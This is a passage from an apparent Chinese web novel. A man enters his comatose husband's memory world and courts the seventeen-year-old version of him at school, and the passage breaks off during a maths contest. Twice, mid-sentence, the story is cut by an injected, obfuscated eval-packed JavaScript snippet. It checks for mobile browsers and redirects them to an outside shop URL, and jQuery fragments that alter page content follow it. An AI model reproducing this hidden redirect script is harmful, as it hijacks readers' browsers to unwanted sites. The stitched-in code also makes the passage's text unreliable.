陆沉远看着他。阳光透过树叶间隙洒在他脸上,睫毛在眼下投出一小片阴影。那么干净,那么美好,像从未被伤害过。 “鹿炽。”陆沉远忽然开口。 “嗯?” “如果……我是说如果,”陆沉远艰难地说,“以后我做了很过分的事,伤害了你,你会恨我吗?” 鹿炽抬起头,眼神清澈而困惑:“你会伤害我吗?” “可能会。”陆沉远苦笑,“我这个人……脾气不好,也不会表达,还总说伤人的话。” 鹿炽想了想,很认真地说:“那我会难过。但不会恨你。” “为什么?” “因为你是陆沉远啊。”鹿炽说完,脸更红了,赶紧低下头继续看书。 陆沉远坐在那里,浑身冰冷。 因为你是陆沉远啊。 所以可以无条件原谅,无条件包容,无条件等待。 可是鹿炽,这样的包容是有期限的。十年,你用十年爱一个人,然后心死了,就再也活不过来了。 “鹿炽,”陆沉远轻声说,“别对我这么好。” 鹿炽抬起头,眼神疑惑。 “不值得。”陆沉远站起来,“我对你不好,以后也不会好。所以别喜欢我了,离我远点。” 他说完转身就走,不敢回头。 因为他知道,回头就会看见鹿炽受伤的眼神。而他怕自己会心软,会冲回去抱住他,会说“我骗你的,我喜欢你,一直喜欢你”。 但不行。 他是来唤醒鹿炽的,不是来重温旧梦的。鹿炽必须醒过来,回到现实世界,然后……然后好好活下去,哪怕没有他。 陆沉远走到花园出口,还是没忍住回了头。 鹿炽还坐在长椅上,低着头,肩膀微微颤抖。 他在哭。 陆沉远握紧拳头,指甲陷进掌心。 疼,但比不上心里的疼。 这只是开始。在鹿炽的记忆世界里,他还要经历多少次这样的场景?看着鹿炽因为他哭,因为他受伤,因为他心碎。 而每一次,他都必须亲手把刀插进鹿炽心里。 因为只有最强烈的情绪波动,才有可能唤醒沉睡的意识。 陆沉远抬头看天。记忆世界的天空很蓝,阳光灿烂,蝉鸣不止。 一切都美好得像从未破碎过。 可他必须亲手打碎这一切。 为了把鹿炽带回来。 为了让他活下去。 3. 重返十七岁 陆沉远决定追鹿炽。 这个决定在他心里转了三天——记忆世界里的三天,现实里可能就三个小时,但他感觉像是过了三年。 每天看着十七岁的鹿炽在他眼前晃:早读时挺直的背脊,课间低头看书的侧脸,体育课上因为跑步而泛红的脸颊……每一个细节都像把小刀,在他心上轻轻划。 最要命的是,这个鹿炽还没经历过后来的那些伤害。他眼睛还是亮的,笑起来嘴角有两个浅浅的梨涡,偶尔和陆沉远对视时,会慌慌张张移开视线,耳朵尖泛红。 像颗还没熟透的水蜜桃,青涩,但甜得让人心颤。 可陆沉远知道,他必须把这颗桃子摘下来,然后再亲手摔烂。 因为只有最剧烈的情绪波动,才能唤醒沉睡的意识。 “远哥,你最近不对劲啊。” 午饭时间,周浩端着餐盘在陆沉远对面坐下,一脸狐疑:“你老盯着鹿炽看干嘛?他脸上有题啊?” 陆沉远收回视线,扒拉两口饭:“没什么。” “没什么?”周浩压低声音,“我可听说了,你前几天在实验楼后面跟人家搭讪,把人家都说哭了?” “谁说的?” “王旭他们看见的。”周浩挤眉弄眼,“远哥,你不会真对那书呆子有意思吧?他可是男的。” 陆沉远筷子一顿:“男的怎么了?” 周浩被他问愣了:“也、也不是怎么了……就是,咱们学校虽然没明说,但要是被老师知道……” “知道就知道。”陆沉远放下筷子,“我喜欢谁,关他们什么事。” 这话说得太理所当然,周浩张着嘴,半天没合上。 陆沉远也愣了。他没想到自己会这么自然地说出“喜欢”两个字。在现实世界里,他对鹿炽说过最难听的话,做过最伤人的事,唯独没说过“喜欢”。 连“我爱你”都是在鹿炽昏迷后,对着病床说的。 “远哥,”周浩小心翼翼地问,“你真喜欢鹿炽啊?” 陆沉远沉默了几秒,点头:“嗯。” “那你打算怎么办?追他?” “追。” “怎么追?”周浩来劲了,“送情书?送礼物?约他看电影?可他是男的啊,这些招管用吗?” 陆沉远被问住了。 是啊,怎么追?他活了二十七年,从来没追过任何人。高中时都是别人追他,男的女的都有,他一律冷脸拒绝。后来和鹿炽结婚,也是鹿炽追的他。 他根本不知道怎么追人。 “要不……”周浩出主意,“你先试试跟他说话?我看你俩平时也不怎么说话。” 陆沉远想了想,觉得有道理。 下午第一节是数学课。数学老师是个秃顶老头,讲课跟念经似的,催眠效果一流。陆沉远坐在后排,看着前排鹿炽认真记笔记的背影,脑子里开始排练。 开场白说什么? “你好,我是陆沉远”? 废话,同班两年了,能不认识吗? “今天天气不错”? 窗外正下着雨,这开场白有点缺心眼。 “你这道题做错了”? 会不会太挑衅? 陆沉远烦躁地抓了把头发。追人怎么比打架还难? “陆沉远!”数学老师突然点名,“上来做这道题。” 全班齐刷刷回头。陆沉远愣了两秒,才反应过来是在叫他。他看了眼黑板上的函数题,不算难,但步骤有点繁琐。 他起身走上讲台,拿起粉笔。解题过程很顺畅,写完最后一步时,他下意识看向鹿炽的方向。 鹿炽正抬头看黑板,眼神专注,嘴唇微微抿着,像是在思考。 陆沉远心里一动,故意在最后一步写错了一个符号。 “错了。”鹿炽小声说,但教室太安静,所有人都听见了。 数学老师推了推眼镜:“鹿炽,你说什么?” 鹿炽站起来,有点局促:“老师,陆同学最后一步写错了。应该是正号,他写成了负号。” 陆沉远站在讲台上,嘴角不自觉扬起。上钩了。 “哦?我看看。”数学老师仔细检查,“还真是。陆沉远,你怎么这么粗心?” “是我不小心。”陆沉远从善如流地改过来,然后看向鹿炽,“谢谢鹿同学。” 鹿炽脸一下子红了,匆匆坐下,头埋得很低。 下课铃响,学生们蜂拥而出。陆沉远快步追上正准备去图书馆的鹿炽。 “刚才谢谢你。”他说。 鹿炽脚步一顿,没回头:“不用谢,我只是指出错误。” “还是要谢的。”陆沉远走到他身边,和他并排走,“要不是你,我这次作业又得扣分。” 鹿炽偏头看他一眼,眼神有点奇怪:“你会在意作业扣分?” 陆沉远噎住了。是啊,高中时的他根本不在乎成绩,作业都是抄的,考试随便考考也能拿第二——第一永远是鹿炽。 “最近开始在意了。”他硬着头皮说。 鹿炽没说话,继续往前走。雨已经停了,操场上积着水洼,空气里有泥土的味道。 “鹿炽,”陆沉远叫住他,“我能问你道题吗?” 鹿炽终于停下脚步,转过身:“什么题?” 陆沉远从书包里——其实他也不知道书包里有什么——掏出一本数学练习册,随便指了一道看起来最难的题:“这个。” 鹿炽凑过来看。距离有点近,陆沉远能闻到他身上洗衣粉的香味,很干净,像阳光晒过的棉布。 “这道题啊。”鹿炽看了一会儿,抬头看他,眼神清澈,“你不会?” “……不会。” “真不会?” “真不会。” 鹿炽盯着他看了几秒,忽然笑了。不是平时那种害羞的笑,而是带着点狡黠,像只小狐狸。 “陆沉远,”他说,“这道题是去年全国高中数学联赛的压轴题,全省只有三个人做出来。你不会很正常。” 陆沉远:“……” 他被耍了。 “但你拿这道题来问我,”鹿炽收起笑,认真地看着他,“是什么意思?试探我的水平?还是单纯想找个理由跟我说话?” 陆沉远第一次在鹿炽面前词穷。 这个十七岁的鹿炽,和他记忆里那个总是害羞、总是躲闪的鹿炽不太一样。他更敏锐,更直接,甚至……有点毒舌? “如果是前者,没必要。你成绩一直很好,我知道。”鹿炽继续说,“如果是后者……” 他顿了顿,耳朵又红了,但语气还是很稳:“直接说就行,不用绕弯子。” 说完,他转身走了,留下陆沉远一个人站在操场上,风吹得他校服外套哗啦作响。 周浩不知道从哪儿冒出来,拍拍他的肩:“远哥,战况如何?” 陆沉远看着鹿炽远去的背影,喃喃道:“他好像……跟我想的不太一样。” “啥意思?” “意思就是,”陆沉远苦笑,“我可能踢到铁板了。” --- 第二天,陆沉远换了策略。 他决定送礼物。 送什么?这是个问题。送太贵的,显得俗气。送太普通的,没诚意。送有意义的……他根本不知道鹿炽喜欢什么。 哦,除了学习。 最后他决定送支笔。学霸应该都喜欢好用的笔吧? 放学后,他在学校门口的文具店挑了半小时,选了一支进口的钢笔,深蓝色笔身,镀金笔尖,包装精美,价格也“精美”——他一个月零花钱的三分之一。 他揣着笔去图书馆。鹿炽果然在那儿,坐在靠窗的位置,面前摊着本书。 陆沉远走过去,在他对面坐下。 鹿炽抬起头,看见是他,表情没什么变化:“有事?” “这个给你。”陆沉远把钢笔推过去。 鹿炽看了一眼,没接:“为什么送我笔?” “就……谢谢你昨天帮我。” “昨天我只是指出你的错误,不算帮。”鹿炽把笔推回来,“而且这太贵重了,我不能要。” 陆沉远没想到会被拒绝得这么干脆。他记忆里的鹿炽,高中时明明很容易脸红,别人送他东西,哪怕只是颗糖,他都会手足无措地收下,然后小声说谢谢。 “你不喜欢?”陆沉远问。 “不是不喜欢。”鹿炽合上书,“只是无功不受禄。” “那怎么样才算有功?” 鹿炽想了想,说:“比如你考试超过我,拿一次年级第一。” 陆沉远:“……” 这比让他一打十还难。不是他成绩不好,是鹿炽太变态。高中三年,鹿炽霸占年级第一的位置从未失手,每次总分都能甩第二名二三十分——那个第二名通常是陆沉远。 “你在为难我。”陆沉远说。 鹿炽笑了,又是那种狡黠的笑:“是啊,所以别追我了,陆同学。你追不上的。” 说完,他收拾书包起身,走到门口时又回头,补了一句:“对了,那支笔是好看,但写起来不一定顺手。我建议你退掉,或者自己用。” 陆沉远看着他的背影,第一次体会到什么叫“束手无策”。 周浩听完他的汇报,笑得差点从椅子上摔下去:“哈哈哈哈!远哥,你也有今天!被学霸怼得哑口无言!” 陆沉远黑着脸:“很好笑?” “好笑!太好笑了!”周浩擦擦笑出来的眼泪,“不过远哥,鹿炽以前不是这样的啊。我记得他高一那会儿,跟你说话都结巴,怎么现在这么……” “这么什么?” “这么辣。”周浩挤眉弄眼,“像个小辣椒,看着水灵,咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271894|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口能把你呛出眼泪。” 陆沉远没说话。他心里隐隐觉得不对。 这个鹿炽太尖锐了,和记忆里那个柔软温顺的少年判若两人。是记忆世界扭曲了现实,还是……这才是鹿炽真正的样子? 他忽然想起,在现实世界里,有一次鹿炽喝醉了,抱着他说过一句话。 “陆沉远,你从来不知道我是什么样的人。” 当时他以为鹿炽在说胡话,现在想来,也许那才是真话。 他爱的,他伤害的,他自以为了解的鹿炽,可能从来都不是完整的鹿炽。 “远哥,你还追吗?”周浩问。 “追。”陆沉远站起来,“为什么不追?” “可人家都说了,你追不上。” “他说追不上就追不上?”陆沉远勾起嘴角,“我陆沉远想追的人,还没有追不到的。” 虽然话是这么说,但接下来几天,陆沉远确实碰了一鼻子灰。 他给鹿炽带早餐,鹿炽说“我吃过了,谢谢”。 他帮鹿炽值日,鹿炽说“这是我的工作,不用你帮忙”。 他约鹿炽周末去图书馆,鹿炽说“我要在家陪父母”。 每一个借口都合情合理,每一个拒绝都礼貌得体,但连起来就是四个字:离我远点。 周五放学,陆沉远终于忍不住了。他在车棚堵住正准备回家的鹿炽。 “聊聊。”他说。 鹿炽推着自行车,抬头看他:“聊什么?” “你为什么躲我?” “我没有躲你。”鹿炽平静地说,“我只是在做我该做的事。” “那你该做的事里,包括拒绝我对你的好吗?” 鹿炽沉默了一会儿,轻声说:“陆沉远,你觉得你是在对我好?” “不是吗?” “送我昂贵的笔,帮我值日,给我带早餐……”鹿炽看着他,“这些是‘好’,但也是‘打扰’。你问过我需要吗?” 陆沉远愣住。 “我喜欢用便宜的笔,因为丢了我心疼。我喜欢自己值日,因为那是我的责任。我喜欢在家吃早餐,因为我妈会早起给我做。”鹿炽一口气说完,语气还是很平静,“你的‘好’,是基于你的想法,不是我的需求。” 他顿了顿,又说:“而且陆沉远,你喜欢我吗?” 陆沉远心脏猛地一跳。 “如果你喜欢我,为什么以前两年都不理我,现在突然开始追我?”鹿炽问,“如果你不喜欢我,为什么做这些事?打发时间?还是跟人打赌了?” “我没有打赌。”陆沉远说,“我是真的……” “真的什么?”鹿炽打断他,“陆沉远,你连‘喜欢’两个字都说不出口,凭什么追我?” 这句话像把锤子,狠狠砸在陆沉远心上。 是啊,他凭什么? 在现实世界里,他从来没对鹿炽说过“喜欢”。结婚三年,他说的最多的是“烦不烦”“别碰我”“滚”。连□□的时候,他都不肯说一句温柔的话。 现在在记忆世界里,他想弥补,想挽回,想重新开始。 可鹿炽不要。 十七岁的鹿炽,比二十七岁的鹿炽更难搞。他清醒,理智,知道自己要什么,也知道怎么保护自己。 “你说得对。”陆沉远苦笑,“我连‘喜欢’都说不出口,没资格追你。” 他转身要走,鹿炽却叫住他。 “陆沉远。” 陆沉远回头。 鹿炽推着自行车走过来,夕阳在他身后,给他整个人镀上一层金边。 “如果你真的想追我,”他说,“先学会怎么喜欢一个人吧。” “怎么学?” “不知道。”鹿炽笑了,这次是真心实意的笑,眉眼弯弯,像月牙,“但至少,别用你追女孩子那套来追我。我不吃那套。” 说完,他骑上自行车走了,白衬衫被风吹得鼓起,像只振翅的鸟。 陆沉远站在原地,看着他的背影消失在街角。 心里五味杂陈。 这个鹿炽太聪明了,聪明得让他害怕。可同时又那么鲜活,那么生动,像一株野蛮生长的植物,有刺,但也开着花。 他忽然很想念现实世界里那个鹿炽。 那个被他伤害过、折磨过、最后心死的鹿炽。那个鹿炽不会对他说这些话,只会沉默,忍耐,然后离开。 如果时间能倒流…… 可惜,时间不能倒流。 但记忆可以重来。 陆沉远握紧拳头。 这次,他不会再把事情搞砸了。 就算鹿炽是块铁板,他也要把这块铁板捂热。 就算鹿炽浑身是刺,他也要把那些刺一根根拔下来,然后小心地抱进怀里。 因为这是他欠鹿炽的。 欠了十年,该还了。 4. 死缠烂打! 周浩听完陆沉远的最新战况,沉默了整整一分钟。 然后他小心翼翼地问:“远哥,你确定要‘死缠烂打’?” “确定。”陆沉远咬着笔杆——他这辈子都没这么用功过,“他说我连喜欢都说不出口,没资格追他。那我就证明给他看。” “怎么证明?天天堵他?” “不。”陆沉远在笔记本上写写画画,“首先,要让他习惯我的存在。就像温水煮青蛙,等他反应过来,已经跑不掉了。” 周浩凑过去看,只见笔记本上写着: 《追鹿计划1.0》 1.每天说早安晚安(当面说) 2.制造偶遇(至少三次/天) 3.帮他解决问题(在他开口之前) 4.学习,学习,再学习(至少要和他有共同话题) “远哥,”周浩咽了口唾沫,“你这……有点变态啊。” “哪里变态?”陆沉远皱眉,“这叫策略。” “就是那种,”周浩比划着,“跟踪狂的感觉。” 陆沉远啪地合上笔记本:“那你有什么高见?” 周浩想了想:“要不……你还是放弃吧?天涯何处无芳草,何必单恋一枝花,还是朵带刺的。” “不行。”陆沉远站起来,“我就要这朵。” 周一早上六点半,陆沉远出现在鹿炽家楼下。 他查过了——其实也没怎么查,高中时他就知道鹿炽家住哪儿,只是从来没来过。鹿炽每天早上七点出门,骑自行车上学,路线固定:出门右拐,过两个红绿灯,左拐进学校。 六点五十,鹿炽推着自行车出来了。 他今天穿了件浅蓝色的T恤,外面套着校服外套,书包背得工工整整。清晨的阳光落在他脸上,皮肤白得透明,能看见细小的绒毛。 陆沉远心跳漏了一拍。 “早。”他走过去。 鹿炽看见他,明显愣了一下:“你在这儿干什么?” “等你。”陆沉远说得很自然,“一起上学。” “我家到学校只要十分钟。” “所以?” “所以没必要等。”鹿炽推着车往前走。 陆沉远跟上去:“有必要。万一路上遇到坏人呢?” 鹿炽停下脚步,转头看他,眼神像在看傻子:“这是市中心,早上七点,满大街都是上班上学的,哪来的坏人?” “万一呢。”陆沉远坚持。 鹿炽盯着他看了几秒,忽然笑了:“陆沉远,你是不是小说看多了?以为我会被小混混堵巷子,然后你英雄救美?” 陆沉远心里一紧。他想起现实世界里,高中时确实有那么一次……鹿炽差点被欺负。 “我只是担心你。”他低声说。 鹿炽没再说话,骑上车。陆沉远也骑上自己的车——他今天特意把尘封已久的山地车搬出来了,擦得锃亮。 两人并排骑行。清晨的风很凉爽,街道还没完全醒来,只有早餐摊冒着热气。 “你吃早饭了吗?”陆沉远问。 “吃了。” “吃的什么?” “面包和牛奶。”鹿炽看了他一眼,“陆同学,你今天话很多。” “以前话少,现在补上。”陆沉远说,“你爱吃什么馅的面包?” “红豆。” “牛奶呢?纯牛奶还是甜牛奶?” “纯牛奶。” “明天我给你带。”陆沉远说,“我家楼下那家面包店的红豆面包很好吃,每天六点新鲜出炉。” 鹿炽刹车了。 他单脚撑地,看着陆沉远,表情很认真:“陆沉远,你是不是觉得,只要对我好,我就会喜欢你?” 陆沉远也停下来:“不是。” “那你为什么要做这些?” “因为我想做。”陆沉远看着他的眼睛,“不是交换,不是讨好,就是单纯想对你好。” 鹿炽张了张嘴,没说话。耳尖又红了。 陆沉远心里一动。看来还是有用的。 “随你。”鹿炽最后说,重新蹬起车,“但别指望我会回报什么。” “不指望。”陆沉远追上去,“只要你接受就行。” --- 上午第二节是英语课。英语老师是个年轻女老师,爱搞小组活动。今天的内容是对话练习,两人一组。 老师按学号分组,陆沉远和鹿炽分到了一组。 鹿炽明显不太情愿,但也没说什么。两人挪到教室角落,开始准备对话。 “你先说。”鹿炽翻开课本。 “说什么?”陆沉远英语其实不错,但他现在注意力全在鹿炽脸上——离得这么近,能看见他睫毛的长度。 “随便。自我介绍,兴趣爱好,都行。”鹿炽低头看课本,不看他。 陆沉远清了清嗓子:“MynameisLuChenyuan.I’m17yearsold.Ilike...basketball,and...someone.” 鹿炽笔尖一顿:“Someone?” “Yeah.”陆沉远看着他,“He’ssmart,kindofsarcastic,alwayspretendstobetoughbutactuallyreallysoftinside.Hestudieshardandcaresabouthisfamily.AndhehasthemostbeautifuleyesI’veeverseen.” (他很聪明,有点毒舌,总是假装坚强但其实内心很柔软。他学习努力,关心家人。而且他有一双我见过最漂亮的眼睛。) 教室里很吵,其他组也在练习,没人注意他们在说什么。但鹿炽的脸以肉眼可见的速度红了。 “你……”他压低声音,“你在胡说八道什么?” “练习对话啊。”陆沉远一脸无辜,“老师让我们说兴趣爱好,我喜欢他,这不算兴趣吗?” 鹿炽瞪他:“这是英语课!” “我知道。”陆沉远笑了,“所以我在用英语说。” 鹿炽合上课本:“换人。我不想跟你一组。” “为什么?” “因为你不好好练习。” “我怎么没好好练习?”陆沉远凑近一点,压低声音,“鹿炽,我说的是真心话。” 鹿炽猛地站起来,椅子在地上划出刺耳的声音。全班都看过来。 “老师,”鹿炽说,“我能换个组吗?” 英语老师推了推眼镜:“怎么了?” “陆同学……不认真。” 老师看向陆沉远。陆沉远耸耸肩:“我很认真啊。鹿同学可能对我有误会。” 鹿炽气得脸都红了——这次是气的,不是害羞。 最后老师没让换组,只是警告陆沉远认真点。后半节课,鹿炽一句话都没跟他说,自己对着课本念念有词。 下课铃一响,鹿炽就收拾东西要走。 陆沉远拉住他书包带子:“生气了?” “放手。” “我真不是故意的。”陆沉远说,“我就是……想跟你说说话。” “用英语说那些话?”鹿炽回头瞪他,“陆沉远,你是觉得这样很浪漫,还是很好玩?” “都不是。”陆沉远松开手,“我就是想让你知道。” “知道什么?” “知道我喜欢你。”陆沉远说得很认真,“可能方式不对,可能时机不对,可能我这个人都不对。但喜欢你是真的。” 鹿炽愣住了。 教室里的人已经走得差不多,阳光从窗户斜射进来,尘埃在光柱里飞舞。 “你……”鹿炽声音有点哑,“你知道你在说什么吗?” “知道。” “我们都是男的。” “所以呢?” “学校不会允许,家长不会同意,同学会怎么看……” “我不在乎。”陆沉远打断他,“鹿炽,我只在乎你怎么想。” 鹿炽看着他,眼神复杂。有惊讶,有慌乱,还有一点……陆沉远看不懂的东西。 “我不信。”最后鹿炽说,“陆沉远,你根本不知道什么是喜欢。你只是觉得新鲜,觉得好玩,或者觉得挑战我很有意思。” 他背起书包:“别再来找我了。真的。” 说完,他快步离开教室。 陆沉远站在原地,没追。 周浩凑过来:“远哥,又失败了?” “嗯。”陆沉远看着鹿炽消失的方向,“但我不会放弃。” “为啥啊?”周浩不解,“鹿炽都拒绝你这么多次了,你不觉得丢脸吗?” “丢脸?”陆沉远笑了,笑容有点苦,“跟失去他比起来,丢脸算什么。” 周浩听不懂:“失去?你什么时候拥有过?” 陆沉远没回答。 他拥有的,然后失去了。现在想重新拥有,却发现自己连拥有的资格都没有。 --- 下午放学,陆沉远又去了图书馆。 鹿炽果然在那儿,坐在老位置。陆沉远在他对面坐下,没说话,只是从书包里掏出一本物理竞赛题集——他中午特意去书店买的。 鹿炽抬头看他一眼,没说话,继续看书。 两人就这样安静地坐了一个小时。陆沉远是真的在看题——他当年物理不错,但这么多年没碰,有些公式都忘了。他皱着眉头,笔在草稿纸上写写画画。 “这里,”鹿炽忽然开口,“用动能定理更简单。” 陆沉远抬头。 鹿炽没看他,手指在题目上点了点:“你用的方法太绕了。” 陆沉远仔细看了一遍,还真是。他改用鹿炽说的方法,很快解出来。 “谢谢。”他说。 “不客气。”鹿炽顿了顿,又说,“你最近……很用功。” “想跟你考一个大学。”陆沉远随口说。 鹿炽笔尖一顿:“你知道我想考哪里吗?” “A大物理系。”陆沉远说,“你高一就说过了。” 鹿炽愣住了:“你怎么知道?” “我……”陆沉远卡壳了。他总不能说,因为现实世界里你就是考的那里吧? “我听说的。”他含糊带过。 鹿炽没再追问,只是眼神更复杂了。 又过了半小时,鹿炽收拾东西准备走。陆沉远也赶紧收拾。 “你别跟着我。”鹿炽说。 “我没跟着你。”陆沉远一脸无辜,“我也回家,这条路不是你家专属的吧?” 鹿炽瞪他,最后还是没说什么。 两人一前一后走出校门。夕阳西下,把影子拉得很长。 走到第一个红绿灯时,鹿炽忽然开口:“你为什么突然这样?” “突然哪样?” “突然追我,突然用功,突然……”鹿炽不知道怎么形容,“变得不像你。” 陆沉远沉默了一会儿,说:“如果我说,我突然发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271895|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我喜欢你,喜欢了很久,只是以前不敢承认,你信吗?” “不信。”鹿炽很直接,“你以前看我的眼神,跟看别人没什么区别。” “那是因为我藏得好。” “藏?”鹿炽笑了,笑容有点讽刺,“陆沉远,你根本不会藏。你喜欢什么,讨厌什么,全写在脸上。如果你以前喜欢我,我早就知道了。” 陆沉远心里一痛。 是啊,高中时的他怎么会藏?他嚣张,直率,喜怒形于色。如果真的喜欢鹿炽,早就全世界都知道了。 可他当时在怕什么?怕承认自己喜欢一个男生?怕被嘲笑?还是怕……一旦承认了,就会失控? “也许你说得对。”陆沉远轻声说,“我可能就是突然开窍了。” “开窍?”鹿炽看他,“因为什么?” “因为……”陆沉远看着他被夕阳染成金色的侧脸,“因为有一天我突然发现,如果我不抓住你,你就会消失。” 鹿炽脚步一顿。 绿灯亮了,行人开始过马路。他们站在路口,像两尊雕塑。 “陆沉远,”鹿炽说,“你是不是……遇到什么事了?” 陆沉远心脏猛地一跳:“为什么这么问?” “你最近很奇怪。”鹿炽看着他,眼神里有真实的担忧,“像变了个人。如果……如果你遇到困难,可以跟我说。虽然我们不算熟,但毕竟是同学。” 这句话像把钝刀,慢慢割着陆沉远的心。 不算熟。 是啊,在鹿炽的记忆里,他们确实不算熟。高中三年,说过的话可能不超过一百句。他凭什么突然冒出来,说喜欢人家? “我没事。”陆沉远勉强笑了笑,“就是……想通了一些事。” “什么事?” “比如,”陆沉远看着他的眼睛,“人生很短,有些话不说,可能就来不及说了。” 鹿炽沉默了。 两人继续往前走。这次是并排走的,距离不远不近。 到鹿炽家楼下时,陆沉远从书包里掏出一个纸袋:“给你。” “什么?” “红豆面包。”陆沉远说,“今天早上买的,一直放在保温袋里,应该还是温的。” 鹿炽没接:“我说了,不用……” “就当是谢礼。”陆沉远打断他,“谢谢你今天教我物理题。” 鹿炽看着纸袋,又看看他,最后还是接过去了。 “谢谢。”他小声说。 “不客气。”陆沉远笑了,“明天见。” “明天……”鹿炽犹豫了一下,“你别等我了。我明天要早点出门,去图书馆还书。” “几点?” “六点半。” “好。”陆沉远点头,“那我也六点半到图书馆门口等你。” “我不是那个意思……” “我知道。”陆沉远摆摆手,“是我自己想等你。晚安,鹿炽。” 他转身走了,没回头。 鹿炽站在楼下,看着他的背影消失在街角,又低头看看手里的纸袋。面包还是温的,隔着纸袋能感受到暖意。 他站了很久,才转身上楼。 --- 第二天早上六点二十五,陆沉远出现在图书馆门口。 图书馆还没开门,街上空荡荡的。他靠在自行车上,手里拿着两个纸袋——一个是红豆面包,一个是豆浆。 六点半整,鹿炽骑着车出现了。 看见陆沉远时,他明显愣了一下,然后慢慢骑过来。 “你真来了。”他说。 “我说了会来。”陆沉远把纸袋递过去,“早餐。豆浆是少糖的,你上次说你不爱喝太甜的。” 鹿炽没接:“你为什么……” “因为我喜欢你。”陆沉远说得理所当然,“喜欢一个人,就是想对他好,想见他,想让他开心。就这么简单。” 鹿炽看着他的眼睛。清晨的光线里,陆沉远的眼神很认真,没有戏谑,没有玩笑。 “陆沉远,”鹿炽轻声说,“如果……我是说如果,你以后不喜欢我了,或者喜欢别人了,会告诉我吗?” “不会。”陆沉远说。 鹿炽脸色一白。 “因为不会有那一天。”陆沉远补充,“鹿炽,我可能不是个好人,脾气差,不会说话,做事冲动。但我认准的事,认准的人,一辈子都不会变。” 风从街那头吹过来,吹乱了鹿炽的头发。他没说话,只是接过纸袋,小声说了句“谢谢”。 陆沉远笑了。这次是真心的笑。 他知道鹿炽还没接受他,但至少,没再拒绝。 这就够了。 慢慢来,他有的是时间——虽然现实世界里没有,但在这个记忆世界里,他可以慢慢把亏欠的都补上。 哪怕最后鹿炽还是不会原谅他。 哪怕最后他还是要亲手打碎这一切。 至少现在,他能看见鹿炽好好的,会脸红,会生气,会因为他送的早餐说谢谢。 这就够了。 “走吧。”陆沉远跨上车,“图书馆该开门了。” 两人并排骑行,晨光熹微,街道渐渐苏醒。 陆沉远侧头看鹿炽,少年专注地看着前方,侧脸在晨光里干净美好。 他在心里默默说: 鹿炽,这次我不会再伤害你了。 哪怕最后你要走,我也会好好送你走。 但在这之前,让我再爱你一次。 用我本该有的方式。 5. 第一名 期中考试前一周,学校通知要办数学竞赛。 这种竞赛每年都有,但今年特别隆重——省里要选拔参加全国赛的队伍,前三名能直接保送A大。A大物理系是鹿炽的梦想,所以他报名了。 陆沉远也报了名。 周浩知道后差点把下巴惊掉:“远哥,你来真的啊?你不是最烦这些竞赛吗?” “改邪归正了。”陆沉远翻着竞赛习题集,头也不抬。 “可这是数学竞赛啊!鹿炽是出了名的数学天才,你确定要跟他比?” 陆沉远笔尖一顿。 是啊,鹿炽是数学天才。高中三年,所有数学考试都是满分,竞赛拿奖拿到手软。而陆沉远……虽然成绩不差,但跟鹿炽比还是差一截。 但那是以前。 现在的陆沉远,脑子里装的是二十七岁的经验。他大学学的是金融,毕业后管理公司,每天跟数字打交道。高中数学竞赛题?对他来说跟玩似的。 “试试呗。”陆沉远说,“万一呢。” 周浩看他认真的样子,忽然一拍大腿:“远哥!你是不是要用这招追鹿炽?你想跟他考一个大学对不对?” 陆沉远没否认。 “牛逼!”周浩竖起大拇指,“这招虽然土,但是管用啊!学霸最吃这套了!” 陆沉远苦笑。他倒没想那么多,只是觉得……如果能在鹿炽最擅长的领域超过他,也许鹿炽就会多看他一眼。 哪怕只是多看一眼。 --- 竞赛在周六上午。考场设在学校大礼堂,黑压压坐了两百多人,都是各年级的数学尖子。 鹿炽坐在第三排中间,背挺得笔直,像棵小白杨。陆沉远的位置在他斜后方,能看见他低头检查文具的侧脸。 监考老师发卷子的时候,礼堂里安静得能听见呼吸声。 陆沉远拿到卷子,扫了一眼。十道大题,满分150分,时间三个小时。他粗略看下来,难度确实不小,但……也就那样。 他看了眼鹿炽。鹿炽已经开始做题了,眉头微蹙,笔尖在草稿纸上飞快移动。 陆沉远深吸一口气,也开始动笔。 第一题,函数求导。简单。 第二题,数列证明。常规。 第三题,几何证明。需要点技巧,但也不算难。 陆沉远越做越顺手。这些题在他眼里就像小学数学,每一步都清晰明了。他甚至能想出两三种解法,然后选最简洁的那种。 写到第八题时,他抬头看了一眼时钟。才过去一个小时。 礼堂里很安静,只有笔尖划过纸张的沙沙声。有些学生已经开始抓耳挠腮,有的咬着笔杆冥思苦想。鹿炽还在写,但速度明显慢下来了,偶尔会停笔思考。 陆沉远低头继续。 第九题是压轴题,难度最大。题目描述了一个复杂的物理场景,需要建立数学模型求解。陆沉远读完题,几乎立刻就想到解法——这题本质上是微积分和微分方程的结合,他处理过类似的商业模型。 他写得很快,步骤清晰,逻辑严谨。写完检查了一遍,确认无误。 抬头看钟,还剩一个小时。 陆沉远看了眼鹿炽。鹿炽还卡在第九题,眉头紧锁,草稿纸上写满了算式,但似乎还没找到突破口。 陆沉远心里一动。 他知道自己应该交卷了。以他的速度,现在交卷绝对能引起轰动——但他不想。 不想让鹿炽难堪。 犹豫了几分钟,陆沉远决定把最后一题也做了。第十题是附加题,不计入总分,但做出来能加分。 题目更变态,涉及数论和组合数学。陆沉远花了二十分钟才解出来。 还剩四十分钟。他无事可做,又不能提前交卷——竞赛规定,最后半小时才能交。 